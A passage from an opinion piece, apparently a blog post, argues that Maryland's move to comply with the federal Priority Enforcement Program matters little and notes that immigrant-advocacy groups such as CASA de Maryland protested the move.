First, the change in policy coincides with a change in policy by the Obama administration. The Secure Communities program was terminated and a new Priority Enforcement Program (PEP) was created. The new program is a pseudo-enforcement program in that compliance is voluntarily and only for a limited category of alien prisoners and only when they have been convicted of a serious crime. So the policy reversal by Maryland is not as significant as it may seem.<\/p>\n<p>The other bad news is that even Maryland\u2019s decision to comply with PEP has been greeted with angry protests by the advocates for illegal aliens. The director of CASA de Maryland, Kim Propeak, commented, \u201cThis is the first ball out of the park. And it doesn\u2019t bode well. It is very, very worrying.\u201d Obviously, the Hogan administration may expect to continue hearing from the defenders of illegal aliens and their supporters in the state legislature, where the Senate has a Democrat majority.<\/p>\n<p>A \u201cball out of the park\u201d suggests a home run.
